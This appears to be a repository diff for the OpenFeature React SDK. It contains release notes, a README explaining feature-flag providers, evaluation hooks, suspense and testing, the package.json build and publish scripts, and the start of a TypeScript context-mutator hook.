* update sdk peer ([#1142](https://github.com/open-feature/js-sdk/issues/1142)) ([8bb6206](https://github.com/open-feature/js-sdk/commit/8bb620601e2b8dc7b62d717169b585bd1c886996))
## [0.4.10](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.9...react-sdk-v0.4.10) (2024-12-18)
### 🔄 Refactoring
* export public option types ([#1101](https://github.com/open-feature/js-sdk/issues/1101)) ([16321c3](https://github.com/open-feature/js-sdk/commit/16321c31f27c5fce2c8e2adea893cf6e7e8ce3de))
## [0.4.9](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.8...react-sdk-v0.4.9) (2024-12-04)
### ✨ New Features
* re-render if flagsChanged is falsy ([#1095](https://github.com/open-feature/js-sdk/issues/1095)) ([78516f4](https://github.com/open-feature/js-sdk/commit/78516f4181c82baf8c42fd64798fc2cfd8ff1056))
### 📚 Documentation
* fix typos, links, and format ([#1075](https://github.com/open-feature/js-sdk/issues/1075)) ([418409e](https://github.com/open-feature/js-sdk/commit/418409e3faafc6868a9f893267a4733db9931f93))
## [0.4.8](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.7...react-sdk-v0.4.8) (2024-10-29)
### 🧹 Chore
* bump minimum web peer ([#1072](https://github.com/open-feature/js-sdk/issues/1072)) ([eca8205](https://github.com/open-feature/js-sdk/commit/eca8205da7945395d19c09a4da67cd4c2d516227))
### 📚 Documentation
* add tracking sections ([#1068](https://github.com/open-feature/js-sdk/issues/1068)) ([e131faf](https://github.com/open-feature/js-sdk/commit/e131faffad9025e9c7194f39558bf3b3cec31807))
## [0.4.7](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.6...react-sdk-v0.4.7) (2024-10-29)
### ✨ New Features
* avoid re-resolving flags unaffected by a change event ([#1024](https://github.com/open-feature/js-sdk/issues/1024)) ([b8f9b4e](https://github.com/open-feature/js-sdk/commit/b8f9b4ebaf4bdd93669fc6da09d9f97a498174d9))
* implement tracking as per spec ([#1020](https://github.com/open-feature/js-sdk/issues/1020)) ([80f182e](https://github.com/open-feature/js-sdk/commit/80f182e1afbd3a705bf3de6a0d9886ccb3424b44))
* use mutate context hook ([#1031](https://github.com/open-feature/js-sdk/issues/1031)) ([ec3d967](https://github.com/open-feature/js-sdk/commit/ec3d967f8b9dd0854706a904a5360f0a0b843595))
### 🧹 Chore
* add js docs for context mutator hook ([#1045](https://github.com/open-feature/js-sdk/issues/1045)) ([def3fe8](https://github.com/open-feature/js-sdk/commit/def3fe8dafc3d6ed3451a493e76842b7d2e8363c))
* import type lint rule and fixes ([#1039](https://github.com/open-feature/js-sdk/issues/1039)) ([01fcb93](https://github.com/open-feature/js-sdk/commit/01fcb933d2cbd131a0f4a005173cdd1906087e18))
## [0.4.6](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.5...react-sdk-v0.4.6) (2024-09-23)
### 🐛 Bug Fixes
* failure to re-render on changes ([#1021](https://github.com/open-feature/js-sdk/issues/1021)) ([c927044](https://github.com/open-feature/js-sdk/commit/c927044c4934f0b8edfd2cdbbc0d60ad546b3dbc))
## [0.4.5](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.4...react-sdk-v0.4.5) (2024-09-04)
### ✨ New Features
* **react:** prevent rerenders when value is unchanged ([#987](https://github.com/open-feature/js-sdk/issues/987)) ([b7fc08e](https://github.com/open-feature/js-sdk/commit/b7fc08e27d225bdbf72c1985e7eef85adcd896b0))
## [0.4.4](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.3...react-sdk-v0.4.4) (2024-08-28)
### 🧹 Chore
* move client/ dir to web/ ([#991](https://github.com/open-feature/js-sdk/issues/991)) ([df4e72e](https://github.com/open-feature/js-sdk/commit/df4e72eabc3370801303470ca37263a0d4d9bb38))
### 📚 Documentation
* **react:** update the error message ([#978](https://github.com/open-feature/js-sdk/issues/978)) ([429c4ae](https://github.com/open-feature/js-sdk/commit/429c4ae941b66a1aa82b5aeea4bdb8b57bd05022))
## [0.4.3](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.2...react-sdk-v0.4.3) (2024-08-22)
### 🐛 Bug Fixes
* race condition in test provider with suspense ([#980](https://github.com/open-feature/js-sdk/issues/980)) ([0f187fe](https://github.com/open-feature/js-sdk/commit/0f187fe0b584e66b6283531eb7879c320967f921))
### 🧹 Chore
* fix flaky test timing ([ad46ade](https://github.com/open-feature/js-sdk/commit/ad46ade143b10366103d4ac199d728e8ae5ba7e8))
## [0.4.2](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.1...react-sdk-v0.4.2) (2024-07-29)
### ✨ New Features
* add test provider ([#971](https://github.com/open-feature/js-sdk/issues/971)) ([1c12d4d](https://github.com/open-feature/js-sdk/commit/1c12d4d548195bfc8c2f898a90ea97063aa8b3f7))
## [0.4.1](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.0...react-sdk-v0.4.1) (2024-06-11)
### ✨ New Features
* lower compilation target to es2015 ([#957](https://github.com/open-feature/js-sdk/issues/957)) ([c2d6c17](https://github.com/open-feature/js-sdk/commit/c2d6c1761ae19f937deaff2f011a0380f8af7350))
## [0.4.0](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.3.4...react-sdk-v0.4.0) (2024-05-13)
### ⚠ BREAKING CHANGES
* disable suspense by default, add suspense hooks ([#940](https://github.com/open-feature/js-sdk/issues/940))
### ✨ New Features
* disable suspense by default, add suspense hooks ([#940](https://github.com/open-feature/js-sdk/issues/940)) ([6bcef89](https://github.com/open-feature/js-sdk/commit/6bcef8977d0134c131af259dc0190a296e790382))
* set context during provider init on web ([#919](https://github.com/open-feature/js-sdk/issues/919)) ([7e6c1c6](https://github.com/open-feature/js-sdk/commit/7e6c1c6e7082e75535bf81b4e70c8c57ef870b77))
## [0.3.4](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.3.3...react-sdk-v0.3.4) (2024-05-01)
### 🐛 Bug Fixes
* delayed suspense causes "flicker" ([#921](https://github.com/open-feature/js-sdk/issues/921)) ([4bce2a0](https://github.com/open-feature/js-sdk/commit/4bce2a0f1a5a716160b8862f1882d24c97688288))
## [0.3.3](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.3.2...react-sdk-v0.3.3) (2024-04-23)
### 🐛 Bug Fixes
* invocation hooks not called ([#916](https://github.com/open-feature/js-sdk/issues/916)) ([2f77738](https://github.com/open-feature/js-sdk/commit/2f7773809007733d1ccaeeaa58b1799d6c1731b4))
## [0.3.2](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.3.2-experimental...react-sdk-v0.3.2) (2024-04-18)
### 🧹 Chore
* remove pre-release, update readme ([#908](https://github.com/open-feature/js-sdk/issues/908)) ([2532379](https://github.com/open-feature/js-sdk/commit/2532379f2ee5c38090a3e2c671edb2a6ca026bd5))
## [0.3.2-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.3.1-experimental...react-sdk-v0.3.2-experimental) (2024-04-11)
### 🐛 Bug Fixes
* re-render w/ useWhenProviderReady, add tests ([#901](https://github.com/open-feature/js-sdk/issues/901)) ([0f2094e](https://github.com/open-feature/js-sdk/commit/0f2094e2360ffed58a6103c00e5ba0ade6ac50eb))
## [0.3.1-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.3.0-experimental...react-sdk-v0.3.1-experimental) (2024-04-09)
### 🐛 Bug Fixes
* default options (re-renders not firing by default) ([#905](https://github.com/open-feature/js-sdk/issues/905)) ([a85e723](https://github.com/open-feature/js-sdk/commit/a85e72333fab85b3fcad87542c11fbed85ca9d85))
## [0.3.0-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.2.4-experimental...react-sdk-v0.3.0-experimental) (2024-04-08)
### ⚠ BREAKING CHANGES
* options inheritance, useWhenProviderReady, suspend by default ([#900](https://github.com/open-feature/js-sdk/issues/900))
### ✨ New Features
* options inheritance, useWhenProviderReady, suspend by default ([#900](https://github.com/open-feature/js-sdk/issues/900)) ([539e741](https://github.com/open-feature/js-sdk/commit/539e7415de8dae333fed72ae80590021d9600830))
## [0.2.4-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.2.3-experimental...react-sdk-v0.2.4-experimental) (2024-04-03)
### ✨ New Features
* query-style, generic useFlag hook ([#897](https://github.com/open-feature/js-sdk/issues/897)) ([5c17b8d](https://github.com/open-feature/js-sdk/commit/5c17b8dfcffd2f0145e5b2c79fa9dff842bbac92))
### 🔄 Refactoring
* dir restructure ([#894](https://github.com/open-feature/js-sdk/issues/894)) ([ce9f65c](https://github.com/open-feature/js-sdk/commit/ce9f65c6ec41867f67c528997cf3acef367f9260))
## [0.2.3-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.2.2-experimental...react-sdk-v0.2.3-experimental) (2024-03-25)
### 🐛 Bug Fixes
* make domain/client optional ([#884](https://github.com/open-feature/js-sdk/issues/884)) ([2b633b5](https://github.com/open-feature/js-sdk/commit/2b633b56778dde9a8955f19ca207fa0e8dced884))
### 🧹 Chore
* prompt web-sdk 1.0 ([#871](https://github.com/open-feature/js-sdk/issues/871)) ([7d50d93](https://github.com/open-feature/js-sdk/commit/7d50d931d5cda349a31969c997e7581ea4883b6a))
### 📚 Documentation
* fix invalid link fragment ([9d63803](https://github.com/open-feature/js-sdk/commit/9d638038c0062704dc701bfbba3004e89ed59e3e))
* remove emojis from react readme ([9e0e368](https://github.com/open-feature/js-sdk/commit/9e0e368d2328de2c7a4a5d91068aa75ecd70f8ed))
## [0.2.2-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.2.1-experimental...react-sdk-v0.2.2-experimental) (2024-03-06)
### 🐛 Bug Fixes
* **types:** conflicts with peer types ([#852](https://github.com/open-feature/js-sdk/issues/852)) ([fdc8576](https://github.com/open-feature/js-sdk/commit/fdc8576f472253604e26c36e10c0d315f71dbe1c))
## [0.2.1-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.2.0-experimental...react-sdk-v0.2.1-experimental) (2024-03-05)
### ✨ New Features
* maintain state in SDK, add RECONCILING ([#795](https://github.com/open-feature/js-sdk/issues/795)) ([cfb0a69](https://github.com/open-feature/js-sdk/commit/cfb0a69c42bd06bf59a7b8761fd90739872a8aeb))
* suspend on RECONCILING, mem provider fixes ([#796](https://github.com/open-feature/js-sdk/issues/796)) ([8101ff1](https://github.com/open-feature/js-sdk/commit/8101ff197ff97808d14114e56aae27023f9b09f6))
## [0.2.0-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.1.1-experimental...react-sdk-v0.2.0-experimental) (2024-02-27)
### ⚠ BREAKING CHANGES
* use "domain" instead of "clientName" ([#826](https://github.com/open-feature/js-sdk/issues/826))
### ✨ New Features
* use "domain" instead of "clientName" ([#826](https://github.com/open-feature/js-sdk/issues/826)) ([427ba88](https://github.com/open-feature/js-sdk/commit/427ba883f5b3d38e40ed3dd493c6208f2f74691e))
## [0.1.1-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.1.0-experimental...react-sdk-v0.1.1-experimental) (2024-01-31)
### ✨ New Features
* adds ErrorOptions to Error constructor ([#765](https://github.com/open-feature/js-sdk/issues/765)) ([2f59a9f](https://github.com/open-feature/js-sdk/commit/2f59a9f5a81135d81d3c6cd7a14863dc21b012b4))
### 🐛 Bug Fixes
* removed duped core types ([#800](https://github.com/open-feature/js-sdk/issues/800)) ([7cc1e09](https://github.com/open-feature/js-sdk/commit/7cc1e09a1118d0c541aeb5e43da74eb3983950a3))
### 📚 Documentation
* update react readme ([#792](https://github.com/open-feature/js-sdk/issues/792)) ([1666597](https://github.com/open-feature/js-sdk/commit/16665978394718558e3c43601737358098305a40))
## [0.1.0-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.0.6-experimental...react-sdk-v0.1.0-experimental) (2024-01-18)
### ⚠ BREAKING CHANGES
* remove generic hook, add specific type hooks ([#766](https://github.com/open-feature/js-sdk/issues/766))
### ✨ New Features
* remove generic hook, add specific type hooks ([#766](https://github.com/open-feature/js-sdk/issues/766)) ([d1d02fa](https://github.com/open-feature/js-sdk/commit/d1d02fa59de5b5b1b8866c0b5d3de1a5bc0c5a04))
### 🧹 Chore
* fix react-sdk REAMDE example, add missing `EvaluationContext` ([#762](https://github.com/open-feature/js-sdk/issues/762)) ([1e13333](https://github.com/open-feature/js-sdk/commit/1e1333381909b790d0c4fc7590613b2ae6f1aa2e))
## [0.0.6-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.0.5-experimental...react-sdk-v0.0.6-experimental) (2024-01-11)
### ✨ New Features
* suspense support, client scoping, context-sensitive re-rendering ([#759](https://github.com/open-feature/js-sdk/issues/759)) ([8f01ead](https://github.com/open-feature/js-sdk/commit/8f01ead29104d122b8126d2fee97c98556091344))
### 🧹 Chore
* fix React SDK README.md to use the resolved value instead of the resolution details ([#691](https://github.com/open-feature/js-sdk/issues/691)) ([2d1b8eb](https://github.com/open-feature/js-sdk/commit/2d1b8ebfb187db92db02ea36fa6d6ca291591b18))
* react-sdk | downgrading react peer dependency | react 18.0.0 -&gt; 16.8.0 ([#742](https://github.com/open-feature/js-sdk/issues/742)) ([2c864e4](https://github.com/open-feature/js-sdk/commit/2c864e46ccecd6d8825738f30a2d098dc66e26cf))
## [0.0.5-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.0.4-experimental...react-sdk-v0.0.5-experimental) (2023-11-27)
### 🐛 Bug Fixes
* rm NodeJS type from core, rm react core peer ([#681](https://github.com/open-feature/js-sdk/issues/681)) ([09ff7b4](https://github.com/open-feature/js-sdk/commit/09ff7b4d99ec2bfa4ef9c18cb1845af1ca14d7b9))
## [0.0.4-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.0.3-experimental...react-sdk-v0.0.4-experimental) (2023-11-21)
### 🧹 Chore
* **main:** release core 0.0.19 ([#676](https://github.com/open-feature/js-sdk/issues/676)) ([b0cbeb4](https://github.com/open-feature/js-sdk/commit/b0cbeb460cfb210d258cb7978e77f306353037d2))
## [0.0.3-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.0.2-experimental...react-sdk-v0.0.3-experimental) (2023-11-09)
### 🧹 Chore
* **main:** release core 0.0.17 ([#651](https://github.com/open-feature/js-sdk/issues/651)) ([3c9fdd9](https://github.com/open-feature/js-sdk/commit/3c9fdd9e4c6b487f25494d03ed1f413d14b2ccfb))
* **main:** release core 0.0.18 ([#661](https://github.com/open-feature/js-sdk/issues/661)) ([cf7bbf0](https://github.com/open-feature/js-sdk/commit/cf7bbf063916c639878de16e54e974607a2cd7ed))
* update spec version link ([0032a81](https://github.com/open-feature/js-sdk/commit/0032a81924012a3b464e577e4505028d6a52cf82))
## [0.0.2-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.0.1-experimental...react-sdk-v0.0.2-experimental) (2023-10-31)
### Features
* extract and publish core package ([#629](https://github.com/open-feature/js-sdk/issues/629)) ([c3ee90b](https://github.com/open-feature/js-sdk/commit/c3ee90b2e0fdcec235069960e7ec03e63028b08c))

402
packages/react/README.md Normal file
View File

@ -0,0 +1,402 @@
<!-- markdownlint-disable MD033 -->
<!-- x-hide-in-docs-start -->
<p align="center">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/open-feature/community/0e23508c163a6a1ac8c0ced3e4bd78faafe627c7/assets/logo/horizontal/white/openfeature-horizontal-white.svg" />
<img align="center" alt="OpenFeature Logo" src="https://raw.githubusercontent.com/open-feature/community/0e23508c163a6a1ac8c0ced3e4bd78faafe627c7/assets/logo/horizontal/black/openfeature-horizontal-black.svg" />
</picture>
</p>
<h2 align="center">OpenFeature React SDK</h2>
<!-- x-hide-in-docs-end -->
<!-- The 'github-badges' class is used in the docs -->
<p align="center" class="github-badges">
<a href="https://github.com/open-feature/spec/releases/tag/v0.8.0">
<img alt="Specification" src="https://img.shields.io/static/v1?label=specification&message=v0.8.0&color=yellow&style=for-the-badge" />
</a>
<!-- x-release-please-start-version -->
<a href="https://github.com/open-feature/js-sdk/releases/tag/react-sdk-v1.0.1">
<img alt="Release" src="https://img.shields.io/static/v1?label=release&message=v1.0.1&color=blue&style=for-the-badge" />
</a>
<!-- x-release-please-end -->
<br/>
<a href="https://codecov.io/gh/open-feature/js-sdk">
<img alt="codecov" src="https://codecov.io/gh/open-feature/js-sdk/branch/main/graph/badge.svg?token=3DC5XOEHMY" />
</a>
<a href="https://www.npmjs.com/package/@openfeature/react-sdk">
<img alt="NPM Download" src="https://img.shields.io/npm/dm/%40openfeature%2Freact-sdk" />
</a>
</p>
<!-- x-hide-in-docs-start -->
[OpenFeature](https://openfeature.dev) is an open specification that provides a vendor-agnostic, community-driven API for feature flagging that works with your favorite feature flag management tool or in-house solution.
<!-- x-hide-in-docs-end -->
## Overview
The OpenFeature React SDK adds React-specific functionality to the [OpenFeature Web SDK](https://openfeature.dev/docs/reference/technologies/client/web).
In addition to the feature provided by the [web sdk](https://openfeature.dev/docs/reference/technologies/client/web), capabilities include:
- [Overview](#overview)
- [Quick start](#quick-start)
- [Requirements](#requirements)
- [Install](#install)
- [npm](#npm)
- [yarn](#yarn)
- [Required peer dependencies](#required-peer-dependencies)
- [Usage](#usage)
- [OpenFeatureProvider context provider](#openfeatureprovider-context-provider)
- [Evaluation hooks](#evaluation-hooks)
- [Multiple Providers and Domains](#multiple-providers-and-domains)
- [Re-rendering with Context Changes](#re-rendering-with-context-changes)
- [Re-rendering with Flag Configuration Changes](#re-rendering-with-flag-configuration-changes)
- [Suspense Support](#suspense-support)
- [Tracking](#tracking)
- [Testing](#testing)
- [FAQ and troubleshooting](#faq-and-troubleshooting)
- [Resources](#resources)
## Quick start
### Requirements
- ES2015-compatible web browser (Chrome, Edge, Firefox, etc)
- React version 16.8+
### Install
#### npm
```sh
npm install --save @openfeature/react-sdk
```
#### yarn
```sh
# yarn requires manual installation of the peer dependencies (see below)
yarn add @openfeature/react-sdk @openfeature/web-sdk @openfeature/core
```
#### Required peer dependencies
The following list contains the peer dependencies of `@openfeature/react-sdk`.
See the [package.json](./package.json) for the required versions.
* `@openfeature/web-sdk`
* `react`
### Usage
#### OpenFeatureProvider context provider
The `OpenFeatureProvider` is a [React context provider](https://react.dev/reference/react/createContext#provider) which represents a scope for feature flag evaluations within a React application.
It binds an OpenFeature client to all evaluations within child components, and allows the use of evaluation hooks.
The example below shows how to use the `OpenFeatureProvider` with OpenFeature's `InMemoryProvider`.
```tsx
import { EvaluationContext, OpenFeatureProvider, useFlag, OpenFeature, InMemoryProvider } from '@openfeature/react-sdk';
const flagConfig = {
'new-message': {
disabled: false,
variants: {
on: true,
off: false,
},
defaultVariant: "on",
contextEvaluator: (context: EvaluationContext) => {
if (context.silly) {
return 'on';
}
return 'off'
}
},
};
// Instantiate and set our provider (be sure this only happens once)!
// Note: there's no need to await its initialization, the React SDK handles re-rendering and suspense for you!
OpenFeature.setProvider(new InMemoryProvider(flagConfig));
// Enclose your content in the configured provider
function App() {
return (
<OpenFeatureProvider>
<Page></Page>
</OpenFeatureProvider>
);
}
```
#### Evaluation hooks
Within the provider, you can use the various evaluation hooks to evaluate flags.
```tsx
function Page() {
// Use the "query-style" flag evaluation hook, specifying a flag-key and a default value.
const { value: showNewMessage } = useFlag('new-message', true);
return (
<div className="App">
<header className="App-header">
{showNewMessage ? <p>Welcome to this OpenFeature-enabled React app!</p> : <p>Welcome to this React app.</p>}
</header>
</div>
)
}
```
You can use the strongly typed flag value and flag evaluation detail hooks as well if you prefer.
```tsx
import { useBooleanFlagValue } from '@openfeature/react-sdk';
// boolean flag evaluation
const value = useBooleanFlagValue('new-message', false);
```
```tsx
import { useBooleanFlagDetails } from '@openfeature/react-sdk';
// "detailed" boolean flag evaluation
const {
value,
variant,
reason,
flagMetadata
} = useBooleanFlagDetails('new-message', false);
```
#### Multiple Providers and Domains
Multiple providers can be used by passing a `domain` to the `OpenFeatureProvider`:
```tsx
// Flags within this domain will use the client/provider associated with `my-domain`,
function App() {
return (
<OpenFeatureProvider domain={'my-domain'}>
<Page></Page>
</OpenFeatureProvider>
);
}
```
This is analogous to:
```ts
OpenFeature.getClient('my-domain');
```
For more information about `domains`, refer to the [web SDK](https://github.com/open-feature/js-sdk/blob/main/packages/web/README.md).
#### Re-rendering with Context Changes
By default, if the OpenFeature [evaluation context](https://openfeature.dev/docs/reference/concepts/evaluation-context) is modified, components will be re-rendered.
This is useful in cases where flag values are dependant on user-attributes or other application state (user logged in, items in card, etc).
You can disable this feature in the hook options (or in the [OpenFeatureProvider](#openfeatureprovider-context-provider)):
```tsx
function Page() {
const { value: showNewMessage } = useFlag('new-message', false, { updateOnContextChanged: false });
return (
<div className="App">
<header className="App-header">
{showNewMessage ? <p>Welcome to this OpenFeature-enabled React app!</p> : <p>Welcome to this React app.</p>}
</header>
</div>
);
}
```
For more information about how evaluation context works in the React SDK, see the documentation on OpenFeature's [static context SDK paradigm](https://openfeature.dev/specification/glossary/#static-context-paradigm).
#### Re-rendering with Flag Configuration Changes
By default, if the underlying provider emits a `ConfigurationChanged` event, components will be re-rendered.
This is useful if you want your UI to immediately reflect changes in the backend flag configuration.
You can disable this feature in the hook options (or in the [OpenFeatureProvider](#openfeatureprovider-context-provider)):
```tsx
function Page() {
const { value: showNewMessage } = useFlag('new-message', false, { updateOnConfigurationChanged: false });
return (
<div className="App">
<header className="App-header">
{showNewMessage ? <p>Welcome to this OpenFeature-enabled React app!</p> : <p>Welcome to this React app.</p>}
</header>
</div>
);
}
```
If your provider doesn't support updates, this configuration has no impact.
> [!NOTE]
> If your provider includes a list of [flags changed](https://open-feature.github.io/js-sdk/types/_openfeature_server_sdk.ConfigChangeEvent.html) in its `PROVIDER_CONFIGURATION_CHANGED` event, that list of flags is used to decide which flag evaluation hooks should re-run by diffing the latest value of these flags with the previous render.
> If your provider event does not the include the `flags changed` list, then the SDK diffs all flags with the previous render to determine which hooks should re-run.
#### Suspense Support
> [!NOTE]
> React suspense is an experimental feature and is subject to change in future versions.
Frequently, providers need to perform some initial startup tasks.
It may be desirable not to display components with feature flags until this is complete or when the context changes.
Built-in [suspense](https://react.dev/reference/react/Suspense) support makes this easy.
Use `useSuspenseFlag` or pass `{ suspend: true }` in the hook options to leverage this functionality.
```tsx
function Content() {
// cause the "fallback" to be displayed if the component uses feature flags and the provider is not ready
return (
<Suspense fallback={<Fallback />}>
<Message />
</Suspense>
);
}
function Message() {
// component to render after READY, equivalent to useFlag('new-message', false, { suspend: true });
const { value: showNewMessage } = useSuspenseFlag('new-message', false);
return (
<>
{showNewMessage ? (
<p>Welcome to this OpenFeature-enabled React app!</p>
) : (
<p>Welcome to this plain old React app!</p>
)}
</>
);
}
function Fallback() {
// component to render before READY.
return <p>Waiting for provider to be ready...</p>;
}
```
This can be disabled in the hook options (or in the [OpenFeatureProvider](#openfeatureprovider-context-provider)).
#### Tracking
The tracking API allows you to use OpenFeature abstractions and objects to associate user actions with feature flag evaluations.
This is essential for robust experimentation powered by feature flags.
For example, a flag enhancing the appearance of a UI component might drive user engagement to a new feature; to test this hypothesis, telemetry collected by a [hook](https://openfeature.dev/docs/reference/technologies/client/web/#hooks) or [provider](https://openfeature.dev/docs/reference/technologies/client/web/#providers) can be associated with telemetry reported in the client's `track` function.
The React SDK includes a hook for firing tracking events in the `<OpenFeatureProvider>` context in use:
```tsx
function MyComponent() {
// get a tracking function for this <OpenFeatureProvider>.
const { track } = useTrack();
// call the tracking event
// can be done in render, useEffect, or in handlers, depending on your use case
track(eventName, trackingDetails);
return <>...</>;
}
```
### Testing
The React SDK includes a built-in context provider for testing.
This allows you to easily test components that use evaluation hooks, such as `useFlag`.
If you try to test a component (in this case, `MyComponent`) which uses an evaluation hook, you might see an error message like:
> No OpenFeature client available - components using OpenFeature must be wrapped with an `<OpenFeatureProvider>`.
You can resolve this by simply wrapping your component under test in the OpenFeatureTestProvider:
```tsx
// use default values for all evaluations
<OpenFeatureTestProvider>
<MyComponent />
</OpenFeatureTestProvider>
```
The basic configuration above will simply use the default value provided in code.
If you'd like to control the values returned by the evaluation hooks, you can pass a map of flag keys and values:
```tsx
// return `true` for all evaluations of `'my-boolean-flag'`
<OpenFeatureTestProvider flagValueMap={{ 'my-boolean-flag': true }}>
<MyComponent />
</OpenFeatureTestProvider>
```
Additionally, you can pass an artificial delay for the provider startup to test your suspense boundaries or loaders/spinners impacted by feature flags:
```tsx
// delay the provider start by 1000ms and then return `true` for all evaluations of `'my-boolean-flag'`
<OpenFeatureTestProvider delayMs={1000} flagValueMap={{ 'my-boolean-flag': true }}>
<MyComponent />
</OpenFeatureTestProvider>
```
For maximum control, you can also pass your own mock provider implementation.
The type of this option is `Partial<Provider>`, so you can pass an incomplete implementation:
```tsx
class MyTestProvider implements Partial<Provider> {
// implement the relevant resolver
resolveBooleanEvaluation(): ResolutionDetails<boolean> {
return {
value: true,
variant: 'my-variant',
reason: 'MY_REASON',
};
}
}
```
```tsx
// use your custom testing provider
<OpenFeatureTestProvider provider={new MyTestProvider()}>
<MyComponent />
</OpenFeatureTestProvider>,
```
## FAQ and troubleshooting
> I get an error that says something like: `A React component suspended while rendering, but no fallback UI was specified.`
The OpenFeature React SDK features built-in [suspense support](#suspense-support).
This means that it will render your loading fallback automatically while your provider starts up and during context reconciliation for any of your components using feature flags!
If you use suspense and neglect to create a suspense boundary around any components using feature flags, you will see this error.
Add a suspense boundary to resolve this issue.
Alternatively, you can disable this suspense (the default) by removing `suspendWhileReconciling=true`, `suspendUntilReady=true` or `suspend=true` in the [evaluation hooks](#evaluation-hooks) or the [OpenFeatureProvider](#openfeatureprovider-context-provider) (which applies to all evaluation hooks in child components).
> I get odd rendering issues or errors when components mount if I use the suspense features.
In React 16/17's "Legacy Suspense", when a component suspends, its sibling components initially mount and then are hidden.
This can cause surprising effects and inconsistencies if sibling components are rendered while the provider is still getting ready.
To fix this, you can upgrade to React 18, which uses "Concurrent Suspense", in which siblings are not mounted until their suspended sibling resolves.
Alternatively, if you cannot upgrade to React 18, you can use the `useWhenProviderReady` utility hook in any sibling components to prevent them from mounting until the provider is ready.
> I am using multiple `OpenFeatureProvider` contexts, but they share the same provider or evaluation context. Why?
The `OpenFeatureProvider` binds a `client` to all child components, but the provider and context associated with that client is controlled by the `domain` parameter.
This is consistent with all OpenFeature SDKs.
To scope an OpenFeatureProvider to a particular provider/context, set the `domain` parameter on your `OpenFeatureProvider`:
```tsx
<OpenFeatureProvider domain={'my-domain'}>
<Page></Page>
</OpenFeatureProvider>
```
> I can import things form the `@openfeature/react-sdk`, `@openfeature/web-sdk`, and `@openfeature/core`; which should I use?
The `@openfeature/react-sdk` re-exports everything from its peers (`@openfeature/web-sdk` and `@openfeature/core`) and adds the React-specific features.
You can import everything from the `@openfeature/react-sdk` directly.
Avoid importing anything from `@openfeature/web-sdk` or `@openfeature/core`.
## Resources
- [Example repo](https://github.com/open-feature/react-test-app)

View File

@ -0,0 +1,57 @@
{
"name": "@openfeature/react-sdk",
"version": "1.0.1",
"description": "OpenFeature React SDK",
"main": "./dist/cjs/index.js",
"files": [
"dist/"
],
"exports": {
"types": "./dist/types.d.ts",
"import": "./dist/esm/index.js",
"require": "./dist/cjs/index.js",
"default": "./dist/cjs/index.js"
},
"types": "./dist/types.d.ts",
"scripts": {
"test": "jest --verbose",
"lint": "eslint ./",
"lint:fix": "eslint ./ --fix",
"clean": "shx rm -rf ./dist",
"build:react-esm": "esbuild src/index.ts --bundle --external:react --external:@openfeature/web-sdk --sourcemap --target=es2015 --platform=browser --format=esm --outfile=./dist/esm/index.js --analyze",
"build:react-cjs": "esbuild src/index.ts --bundle --external:react --external:@openfeature/web-sdk --sourcemap --target=es2015 --platform=browser --format=cjs --outfile=./dist/cjs/index.js --analyze",
"build:rollup-types": "rollup -c ../../rollup.config.mjs",
"build": "npm run clean && npm run build:react-esm && npm run build:react-cjs && npm run build:rollup-types",
"postbuild": "shx cp ./../../package.esm.json ./dist/esm/package.json",
"current-version": "echo $npm_package_version",
"prepack": "shx cp ./../../LICENSE ./LICENSE",
"publish-if-not-exists": "cp $NPM_CONFIG_USERCONFIG .npmrc && if [ \"$(npm show $npm_package_name@$npm_package_version version)\" = \"$(npm run current-version -s)\" ]; then echo 'already published, skipping'; else npm publish --access public; fi"
},
"repository": {
"type": "git",
"url": "git+https://github.com/open-feature/js-sdk.git"
},
"keywords": [
"openfeature",
"feature",
"flags",
"toggles",
"browser",
"web",
"react"
],
"author": "",
"license": "Apache-2.0",
"bugs": {
"url": "https://github.com/open-feature/js-sdk/issues"
},
"homepage": "https://github.com/open-feature/js-sdk#readme",
"peerDependencies": {
"@openfeature/web-sdk": "^1.5.0",
"react": ">=16.8.0"
},
"devDependencies": {
"@openfeature/core": "*",
"@openfeature/web-sdk": "*"
}
}

View File

@ -0,0 +1 @@
export * from './use-context-mutator';

View File

@ -0,0 +1,51 @@
import { useCallback, useContext, useRef } from 'react';
import type { EvaluationContext } from '@openfeature/web-sdk';
import { OpenFeature } from '@openfeature/web-sdk';
import { Context } from '../internal';
export type ContextMutationOptions = {
/**
* Mutate the default context instead of the domain scoped context applied at the `<OpenFeatureProvider/>`.
* Note, if the `<OpenFeatureProvider/>` has no domain specified, the default is used.
* See the {@link https://openfeature.dev/docs/reference/technologies/client/web/#manage-evaluation-context-for-domains|documentation} for more information.
* @default false
*/
defaultContext?: boolean;
};
export type ContextMutation = {
/**
* Context-aware function to set the desired context (see: {@link ContextMutationOptions} for details).
* There's generally no need to await the result of this function; flag evaluation hooks will re-render when the context is updated.
* This promise never rejects.
* @param updatedContext
* @returns Promise for awaiting the context update
*/
setContext: (updatedContext: EvaluationContext) => Promise<void>;
};
/**
